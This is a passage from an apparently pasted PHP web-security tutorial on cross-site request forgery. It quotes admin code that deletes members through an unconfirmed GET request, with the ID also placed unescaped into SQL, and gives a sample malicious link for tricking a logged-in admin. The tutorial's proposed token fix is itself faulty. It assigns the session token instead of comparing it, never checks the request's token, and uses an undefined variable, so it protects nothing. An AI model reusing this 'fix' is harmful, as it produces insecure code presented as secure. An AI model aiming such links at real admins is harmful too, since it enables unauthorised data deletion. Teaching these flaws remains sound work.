  1046.  
  1047. ----------------------------------------------------------------------------------------------
  1048. if ($_GET['func'] == 'delete') {
  1049. $del_id = $_GET['id'];
  1050. $query2121 = "select ROLE from {$db_prefix}members WHERE ID='$del_id'";
  1051. $result2121 = mysql_query($query2121) or die("delete.php - Error in query: $query2121");
  1052. while ($results2121 = mysql_fetch_array($result2121)) {
  1053. $their_role = $results2121['ROLE'];
  1054. }
  1055. if ($their_role != '1') {
  1056. mysql_query("DELETE FROM {$db_prefix}members WHERE id='$del_id'") or die(mysql_error
  1057. ());
  1058. ----------------------------------------------------------------------------------------------
  1059.  
  1060. We can see here that if "func=delete" will be called by URL,the script will
  1061. delete from the database a user with the specified ID ( $id ) without any
  1062. confirmation.Example :
  1063.  
  1064. http://127.0.0.1/ind...unc=delete&id=4
  1065.  
  1066. The script check if the admin is logged in so if we trick the admin to click
  1067. our evil link the user who have the specified ID in the database will be deleted
  1068. without any confirmation.
  1069.  
  1070.  
  1071. 13.2 - How to fix
  1072.  
  1073.  
  1074. - Simple way : Use tokens.At each login,generate a random token and save it
  1075. in the session.Request the token in URL to do administrative
  1076. actions,if the token missing or is wrong,don't execute the
  1077. action.I will show you only how to to check if the token
  1078. is present and is correct.Example :
  1079.  
  1080. -------------------------------------------------------
  1081. <?php
  1082. check_auth();
  1083. if(isset($_GET['news']) && $token=$_SESSION['token'])
  1084. { unlink('files/news'.$news.'.txt'); }
  1085. else {
  1086. die('Error.'); }
  1087. ?>
  1088. -------------------------------------------------------
  1089.  
  1090. The request will look like this one :
  1091.  
  1092. http://127.0.0.1/ind...delete=1&token=[RANDOM_TOKEN]
  1093.  
  1094. So this request will be fine,the news will be deleted.
  1095.  
  1096.  
  1097. - Another way : Do some complicated confirmations or request a password
  1098. to do administrative actions.
  1099. :Thanks:
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement